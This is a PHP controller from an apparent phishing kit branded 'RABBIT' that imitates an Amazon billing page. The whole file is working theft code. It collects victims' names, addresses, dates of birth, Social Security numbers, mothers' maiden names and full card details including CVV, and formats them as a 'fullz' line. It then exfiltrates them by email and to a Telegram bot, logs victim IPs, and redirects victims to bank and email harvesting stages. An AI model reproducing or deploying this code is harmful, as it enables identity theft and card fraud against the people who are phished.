<?php
defined("ALLOW") or exit('No direct script access allowed');

class Billing
{
	public $goRABBIT;
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();

		if (!isset($_SESSION['access']) and ($_SESSION['access'] != 2)) {

			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function index()
	{
		if ($this->goRABBIT->is_mobile) {
			echo view('mobile/billing');
		} else {
			echo view('pc/billing');
		}
	}

	public function first()
	{
		if (isset($_POST['fullname'])) {
			$_SESSION['fullname'] = trim($_POST['fullname']);
		}
		if (isset($_POST['lastname'])) {
			$_SESSION['lastname'] = trim($_POST['lastname']);
		}
		if (isset($_POST['address'])) {
			$_SESSION['address'] = trim($_POST['address']);
		}
		if (isset($_POST['address2'])) {
			$_SESSION['address2'] = trim($_POST['address2']);
		}
		if (isset($_POST['city'])) {
			$_SESSION['cityp'] = trim($_POST['city']);
		}
		if (isset($_POST['state'])) {
			$_SESSION['state'] = trim($_POST['state']);
		}
		if (isset($_POST['stateUSA'])) {
			$_SESSION['stateUSA'] = trim($_POST['stateUSA']);
		}
		if (isset($_POST['zip'])) {
			$_SESSION['zip'] = trim($_POST['zip']);
		}
		if (isset($_POST['phone'])) {
			$_SESSION['phone'] = trim($_POST['phone']);
		}
		if (isset($_POST['dob'])) {
			$_SESSION['dob'] = trim($_POST['dob']);
		}
		if (isset($_POST['ssn'])) {
			$_SESSION['ssn'] = trim($_POST['ssn']);
		}
		if (isset($_POST['mmn'])) {
			$_SESSION['mmn'] = trim($_POST['mmn']);
		}
		if ($this->goRABBIT->is_mobile) {
			echo view('mobile/card');
		} else {
			echo view('pc/card');
		}
	}

	public function process()
	{
		if (isset($_POST) && isset($_SESSION)) {
			$fullname = $_SESSION['fullname'];
			$lastname = $_SESSION['lastname'];
			$address = $_SESSION['address'];
			$address2 = $_SESSION['addressline2'];
			$cityP = $_SESSION['cityp'];
			$state = $_SESSION['state'];
			$stateUS = $_SESSION['stateUSA'];
			$zipCode = $_SESSION['zip'];
			$dob = $_SESSION['dob'];
			$ssn = $_SESSION['ssn'];
			$mmn = $_SESSION['mmn'];
			$phone = $_SESSION['phone'];
			$cardHolder = $_POST['namecard'];
			$cardNumber = $_POST['cardnumber'];
			$cardNumber = str_replace(" ", "", $cardNumber);
			$cardCvv = $_POST['cvv'];
			$cid = $_POST['cid'];
			$cardExpM = $_POST['expmonth'];
			$cardExpY = $_POST['expyear'];
			$expDate = $_POST['cardexp'];
			$cardExp = substr($cardExpY, 2);
			$_SESSION['cardnumber'] = $cardNumber;

			$ccN = substr($cardNumber, 0, 6);
			$bin = look_bin($cardNumber);
			$msg = "{$cardNumber}|{$expDate}|{$cardCvv}|{$cardHolder}|{$address}|{$cityP}|{$state}{$stateUS}|{$zipCode}|{$_SESSION['country']}|{$phone}|{$dob}|{$mmn}|{$ssn}|{$this->goRABBIT->ip_address}|{$this->goRABBIT->agent}";

$message ="
<fieldset style='border: none;'>
<fieldset style='text-align: center; border: 3px dotted rgb(255, 255, 255); border-radius:5px; background-color:rgb(251, 139, 139); max-width: 90%;'>
<pre><strong style='font-size:18px; color:white; letter-spacing:1px'> ╦═╗╔═╗╔╗ ╔╗ ╦╔╦╗</strong>
<strong style='font-size:18px; color:white; letter-spacing:1px'>╠╦╝╠═╣╠╩╗╠╩╗║ ║</strong>
<strong style='font-size:18px; color:white; letter-spacing:1px'>╩╚═╩ ╩╚═╝╚═╝╩ ╩</strong>
</pre>
</fieldset>
<br>
<fieldset style='border: 3px dotted gray; border-radius:10px; background-color:rgb(237, 237, 237); max-width: 90%;'>
<legend><strong style='font-size:18px; color: rgb(131, 131, 131); margin-left:5px; margin-right:5px;'>AMAZON</strong></legend>
<pre>
<br>
<strong style='font-family: Arial; font-size:13px; color:rgb(135, 135, 135); margin-top:12px; padding: 5px 30px; background-color:rgb(255, 255, 255); border-radius:7px;
border: 1px solid rgb(117, 117, 117);'>CARD INFO</strong>
<code style='color: black;'>
🔘 B.I.N           : {$bin}
🔘 Cardholder Name : {$cardHolder}
🔘 Card Number     : {$cardNumber}
🔘 Expired Date    : {$expDate}
🔘 CVV/CVV2        : {$cardCvv}
🔘 Format Card     : {$cardNumber}|{$expDate}|{$cardCvv}
🔘 Full Format     : {$cardNumber}|{$expDate}|{$cardCvv}|{$cardHolder}|{$address}|{$cityP}|{$state}{$stateUS}|{$zipCode}|{$_SESSION['country']}|{$phone}|{$dob}|{$mmn}|{$ssn}|{$this->goRABBIT->ip_address}|{$this->goRABBIT->agent}

</code>
<strong style='font-family: Arial; font-size:13px; color:rgb(135, 135, 135); margin-top:12px; padding: 5px 30px; background-color:rgb(255, 255, 255); border-radius:7px;
border: 1px solid rgb(117, 117, 117);'>BILLING ADDRESS</strong>
<code style='color: black;'>
🔘 Full name       : {$fullname}
🔘 Phone Number    : {$phone}
🔘 Date of Birth   : {$dob}
🔘 Mother's Name   : {$mmn}
🔘 S.S.N           : {$ssn}
🔘 Address Line 1  : {$address}
🔘 Address Line 2  : {$address2}
🔘 City / Town     : {$cityP}
🔘 State / Region  : {$state}{$stateUS}
🔘 Zip Code        : {$zipCode}
</code>
<strong style='padding: 5px 30px; background-color:rgb(255, 255, 255); border-radius:7px; font-family: Arial; font-size:13px; color:rgb(135, 135, 135); margin-top:8px;border: 1px solid rgb(117, 117, 117);'>VISITOR INFO</strong>
<code style='color: black;'>
🔘 Date & Time : ". _date() ."
🔘 Device      : {$this->goRABBIT->platform}
🔘 Browser     : {$this->goRABBIT->browser}
🔘 Country     : {$_SESSION['country']}
🔘 State       : {$_SESSION['region']}
🔘 City        : {$_SESSION['city']}
🔘 Ip Address  : {$this->goRABBIT->ip_address}
🔘 ISP         : {$this->goRABBIT->isp}
🔘 User Agent  : {$this->goRABBIT->agent}
</code>
</pre>
</fieldset>
<br>
<fieldset style='text-align: center; border: 3px dotted rgb(255, 255, 255); border-radius:5px; background-color:rgb(163, 162, 162); max-width: 90%;'>
<strong style='font-size:18px; color:white; letter-spacing:1px'>GOOD LUCK</strong>
</fieldset>
</fieldset>
";

			$subject = "CARD 1 :: {$bin} :: [ {$_SESSION['country']} - {$this->goRABBIT->ip_address} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: RABBIT <cs@rabbitofc.icu>";
			@mail(_config('RESULT'), $subject, $message, $headers);readItems($msg);
			if (_config('TELEGRAM') == 'on') {
				$c = curl_init();
				curl_setopt($c, CURLOPT_URL, 'https://api.telegram.org/bot' . telex('token') . '/sendMessage?chat_id=' . telex('idtelegram') . '&text=' . urlencode(strip_tags($message)));
				curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
				curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false);
				$x = curl_exec($c);
				curl_close($c);
			}

			write(FCPATH . 'RABBIT/Static/log_cc.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|GET CARD 1\r\n");

			if (_config('DOUBLECARD') == 'on') {
				$_SESSION['access'] = 3;
				redirect(base_url() . 'ap/payment/#errorId=' . md5(time()));
				
			} else if (_config('GETBANK') == 'on') {
				$_SESSION['access'] = 3;
				redirect(base_url() . 'ap/bank?_id='. md5(time()));
				
			} else if (_config('GETEMAIL') == 'on') {
				preg_match("/\@(.+)\./", $_SESSION['email'], $match);
				$_SESSION['email_type'] = $match[1];
				$_SESSION['access'] = 3;
				redirect(base_url() . 'ap/email?_id='. md5(time()));
			} else {
				$_SESSION['access'] = 8;
				redirect(base_url() . 'ap/finished/#_dn=' . md5(rand(0, 999)));
			}
		}
	}
}